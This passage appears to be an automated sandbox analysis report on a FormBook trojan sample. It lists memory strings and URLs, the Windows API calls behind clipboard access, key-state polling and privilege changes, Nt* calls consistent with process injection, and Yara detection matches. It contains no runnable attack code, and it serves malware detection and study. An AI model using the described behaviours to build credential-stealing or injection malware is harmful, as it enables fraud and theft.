            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://upload.wikimedia.org/wikipedia/commons/thumb/8/84/Zealandia-Continent_map_en.svg/1870px-Zeal
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shell?osLocale=en-GB&chosenMarketReason=ImplicitNew
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://windows.msn.com:443/shellv2?osLocale=en-GB&chosenMarketReason=ImplicitNew
            Source: explorer.exe, 0000000C.00000002.3190243270.000000000C061000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://wns.windows.com/
            Source: replace.exe, 00000004.00000002.2391490715.0000000007CDA000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.ecosia.org/newtab/
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/foodanddrink/foodnews/the-best-burger-place-in-phoenix-plus-see-the-rest-o
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/lifestyle/lifestyle-buzz/what-to-do-if-a-worst-case-nuclear-scenario-actua
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/companies/kaiser-permanente-and-unions-for-75-000-striking-health-wo
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/money-matters-changing-institution-of-marriage/ar-AA
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/money/personalfinance/the-no-1-phrase-people-who-are-good-at-small-talk-al
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/crime/bar-fight-leaves-man-in-critical-condition-suspect-arrested-in-
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/here-s-what-house-rules-say-about-trump-serving-as-speaker-o
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/how-donald-trump-helped-kari-lake-become-arizona-s-and-ameri
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/kevin-mccarthy-s-ouster-as-house-speaker-could-cost-gop-its-
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/politics/trump-whines-to-cameras-in-ny-fraud-case-before-fleeing-to-f
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/technology/a-federal-emergency-alert-will-be-sent-to-us-phones-nation
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/technology/prehistoric-comet-impacted-earth-and-triggered-the-switch-
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/biden-administration-waives-26-federal-laws-to-allow-border-wall-c
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/us/dumb-and-dumber-12-states-with-the-absolute-worst-education-in-the
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/world/a-second-war-could-easily-erupt-in-europe-while-everyone-s-dist
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/world/england-considers-raising-smoking-age-until-cigarettes-are-bann
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/world/nobel-prize-in-literature-to-be-announced-in-stockholm/ar-AA1hI
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/news/world/ukraine-live-briefing-biden-expresses-worry-about-congressional
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/accuweather-el-ni
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/first-map-of-earth-s-lost-continent-has-been-published/
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com/en-us/weather/topstories/stop-planting-new-forests-scientists-say/ar-AA1hFI09
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000003.2381180680.0000000007409000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.msn.com:443/en-us/feed
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.stacker.com/arizona/phoenix
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.starsinsider.com/n/154870?utm_source=msn.com&utm_medium=display&utm_campaign=referral_de
            Source: explorer.exe, 0000000C.00000003.2381040042.000000000740A000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 0000000C.00000002.3186531072.0000000007422000.00000004.00000020.00020000.00000000.sdmpString found in binary or memory: https://www.yelp.com
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00459FFF OpenClipboard,EmptyClipboard,CloseClipboard,GlobalAlloc,GlobalLock,_wcscpy,GlobalUnlock,OpenClipboard,EmptyClipboard,SetClipboardData,CloseClipboard,0_2_00459FFF
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0046C5D0 OpenClipboard,IsClipboardFormatAvailable,IsClipboardFormatAvailable,GetClipboardData,CloseClipboard,0_2_0046C5D0
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00456354 GetCursorPos,ScreenToClient,GetAsyncKeyState,GetAsyncKeyState,GetAsyncKeyState,GetWindowLongW,0_2_00456354
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0047C08E SendMessageW,DefDlgProcW,GetKeyState,GetKeyState,GetKeyState,SendMessageW,GetKeyState,GetWindowLongW,SendMessageW,SendMessageW,SendMessageW,_wcsncpy,SendMessageW,SendMessageW,SendMessageW,InvalidateRect,SendMessageW,ImageList_SetDragCursorImage,ImageList_BeginDrag,SetCapture,ClientToScreen,ImageList_DragEnter,ReleaseCapture,GetCursorPos,ScreenToClient,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,SendMessageW,GetCursorPos,ScreenToClient,GetParent,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,SendMessageW,SendMessageW,ClientToScreen,TrackPopupMenuEx,GetWindowLongW,0_2_0047C08E

            E-Banking Fraud

            barindex
            Yara detected FormBook
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPE
            Source: Yara matchFile source: 00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.2379896522.0000000000AC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000006.00000002.3185707565.0000000005610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452242697.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000003.00000002.3183174825.0000000003010000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000002.00000002.1452959865.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
            Source: Yara matchFile source: 00000004.00000002.2381075401.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY

            System Summary

            barindex
            Malicious sample detected (through community Yara rule)
            Source: 2.2.svchost.exe.400000.0.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 2.2.svchost.exe.400000.0.raw.unpack, type: UNPACKEDPEMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.2380909716.0000000002F80000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.1452438449.0000000000A00000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.2379896522.0000000000AC0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000006.00000002.3185707565.0000000005610000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.1452242697.0000000000400000.00000040.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000003.00000002.3183174825.0000000003010000.00000040.00000001.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000002.00000002.1452959865.0000000003250000.00000040.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: 00000004.00000002.2381075401.0000000002FE0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042C473 NtClose,2_2_0042C473
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72B60 NtClose,LdrInitializeThunk,2_2_02F72B60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72C70 NtFreeVirtualMemory,LdrInitializeThunk,2_2_02F72C70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72DF0 NtQuerySystemInformation,LdrInitializeThunk,2_2_02F72DF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F735C0 NtCreateMutant,LdrInitializeThunk,2_2_02F735C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F74340 NtSetContextThread,2_2_02F74340
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F74650 NtSuspendThread,2_2_02F74650
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72AF0 NtWriteFile,2_2_02F72AF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72AD0 NtReadFile,2_2_02F72AD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72AB0 NtWaitForSingleObject,2_2_02F72AB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72BF0 NtAllocateVirtualMemory,2_2_02F72BF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72BE0 NtQueryValueKey,2_2_02F72BE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72BA0 NtEnumerateValueKey,2_2_02F72BA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72B80 NtQueryInformationFile,2_2_02F72B80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72EE0 NtQueueApcThread,2_2_02F72EE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72EA0 NtAdjustPrivilegesToken,2_2_02F72EA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72E80 NtReadVirtualMemory,2_2_02F72E80
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72E30 NtWriteVirtualMemory,2_2_02F72E30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72FE0 NtCreateFile,2_2_02F72FE0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72FB0 NtResumeThread,2_2_02F72FB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72FA0 NtQuerySection,2_2_02F72FA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72F90 NtProtectVirtualMemory,2_2_02F72F90
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72F60 NtCreateProcessEx,2_2_02F72F60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72F30 NtCreateSection,2_2_02F72F30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72CF0 NtOpenProcess,2_2_02F72CF0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72CC0 NtQueryVirtualMemory,2_2_02F72CC0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72CA0 NtQueryInformationToken,2_2_02F72CA0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72C60 NtCreateKey,2_2_02F72C60
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72C00 NtQueryInformationProcess,2_2_02F72C00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72DD0 NtDelayExecution,2_2_02F72DD0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72DB0 NtEnumerateKey,2_2_02F72DB0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72D30 NtUnmapViewOfSection,2_2_02F72D30
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72D10 NtMapViewOfSection,2_2_02F72D10
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F72D00 NtSetInformationFile,2_2_02F72D00
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F73090 NtSetValueKey,2_2_02F73090
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F73010 NtOpenDirectoryObject,2_2_02F73010
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F739B0 NtGetContextThread,2_2_02F739B0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F73D70 NtOpenThread,2_2_02F73D70
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F73D10 NtOpenProcessToken,2_2_02F73D10
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C4340 NtSetContextThread,LdrInitializeThunk,4_2_033C4340
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C4650 NtSuspendThread,LdrInitializeThunk,4_2_033C4650
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2B60 NtClose,LdrInitializeThunk,4_2_033C2B60
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2BA0 NtEnumerateValueKey,LdrInitializeThunk,4_2_033C2BA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,4_2_033C2BF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2BE0 NtQueryValueKey,LdrInitializeThunk,4_2_033C2BE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2AF0 NtWriteFile,LdrInitializeThunk,4_2_033C2AF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2AD0 NtReadFile,LdrInitializeThunk,4_2_033C2AD0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2F30 NtCreateSection,LdrInitializeThunk,4_2_033C2F30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2FB0 NtResumeThread,LdrInitializeThunk,4_2_033C2FB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2FE0 NtCreateFile,LdrInitializeThunk,4_2_033C2FE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2E80 NtReadVirtualMemory,LdrInitializeThunk,4_2_033C2E80
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2EE0 NtQueueApcThread,LdrInitializeThunk,4_2_033C2EE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2D30 NtUnmapViewOfSection,LdrInitializeThunk,4_2_033C2D30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2D10 NtMapViewOfSection,LdrInitializeThunk,4_2_033C2D10
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2DF0 NtQuerySystemInformation,LdrInitializeThunk,4_2_033C2DF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2DD0 NtDelayExecution,LdrInitializeThunk,4_2_033C2DD0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2C70 NtFreeVirtualMemory,LdrInitializeThunk,4_2_033C2C70
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2C60 NtCreateKey,LdrInitializeThunk,4_2_033C2C60
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2CA0 NtQueryInformationToken,LdrInitializeThunk,4_2_033C2CA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C35C0 NtCreateMutant,LdrInitializeThunk,4_2_033C35C0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C39B0 NtGetContextThread,LdrInitializeThunk,4_2_033C39B0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2B80 NtQueryInformationFile,4_2_033C2B80
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2AB0 NtWaitForSingleObject,4_2_033C2AB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2F60 NtCreateProcessEx,4_2_033C2F60
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2FA0 NtQuerySection,4_2_033C2FA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2F90 NtProtectVirtualMemory,4_2_033C2F90
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2E30 NtWriteVirtualMemory,4_2_033C2E30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2EA0 NtAdjustPrivilegesToken,4_2_033C2EA0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2D00 NtSetInformationFile,4_2_033C2D00
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2DB0 NtEnumerateKey,4_2_033C2DB0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2C00 NtQueryInformationProcess,4_2_033C2C00
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2CF0 NtOpenProcess,4_2_033C2CF0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C2CC0 NtQueryVirtualMemory,4_2_033C2CC0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C3010 NtOpenDirectoryObject,4_2_033C3010
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C3090 NtSetValueKey,4_2_033C3090
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C3D10 NtOpenProcessToken,4_2_033C3D10
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_033C3D70 NtOpenThread,4_2_033C3D70
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AE8CE0 NtCreateFile,4_2_00AE8CE0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AE8E40 NtReadFile,4_2_00AE8E40
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AE8FD0 NtClose,4_2_00AE8FD0
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AE8F30 NtDeleteFile,4_2_00AE8F30
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_00AE9120 NtAllocateVirtualMemory,4_2_00AE9120
            Source: C:\Windows\SysWOW64\replace.exeCode function: 4_2_030EF97A NtSetContextThread,4_2_030EF97A
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00434D50: GetFullPathNameW,__swprintf,_wcslen,_wcslen,_wcslen,CreateDirectoryW,CreateFileW,_memset,_wcslen,_wcsncpy,DeviceIoControl,CloseHandle,RemoveDirectoryW,CloseHandle,0_2_00434D50
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004461ED _memset,DuplicateTokenEx,CloseHandle,OpenWindowStationW,GetProcessWindowStation,SetProcessWindowStation,OpenDesktopW,_wcslen,_wcsncpy,LoadUserProfileW,CreateEnvironmentBlock,CreateProcessAsUserW,UnloadUserProfile,CloseWindowStation,CloseDesktop,SetProcessWindowStation,CloseHandle,DestroyEnvironmentBlock,0_2_004461ED
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004364AA GetCurrentProcess,OpenProcessToken,LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,ExitWindowsEx,InitiateSystemShutdownExW,SetSystemPowerState,SetSystemPowerState,0_2_004364AA
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00409A400_2_00409A40
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004120380_2_00412038
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004271610_2_00427161
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0047E1FA0_2_0047E1FA
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004212BE0_2_004212BE
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004433900_2_00443390
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004433910_2_00443391
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0041A46B0_2_0041A46B
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0041240C0_2_0041240C
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004465660_2_00446566
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004045E00_2_004045E0
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0041D7500_2_0041D750
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004037E00_2_004037E0
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004278590_2_00427859
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_004128180_2_00412818
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0040F8900_2_0040F890
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0042397B0_2_0042397B
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00411B630_2_00411B63
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0047CBF00_2_0047CBF0
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0044EBBC0_2_0044EBBC
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00412C380_2_00412C38
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0044ED9A0_2_0044ED9A
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00423EBF0_2_00423EBF
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_00424F700_2_00424F70
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_0041AF0D0_2_0041AF0D
            Source: C:\Users\user\Desktop\UNGSno5k4G.exeCode function: 0_2_040BAAF80_2_040BAAF8
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004184532_2_00418453
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004029202_2_00402920
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004012402_2_00401240
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004032002_2_00403200
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0042EAE32_2_0042EAE3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004024102_2_00402410
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FCAA2_2_0040FCAA
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FCB32_2_0040FCB3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004045C42_2_004045C4
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004026102_2_00402610
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0041662E2_2_0041662E
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_004166332_2_00416633
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040FED32_2_0040FED3
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_0040DF532_2_0040DF53
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FC02C02_2_02FC02C0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FE02742_2_02FE0274
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_030003E62_2_030003E6
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02F4E3F02_2_02F4E3F0
            Source: C:\Windows\SysWOW64\svchost.exeCode function: 2_2_02FFA3522_2_02FFA352
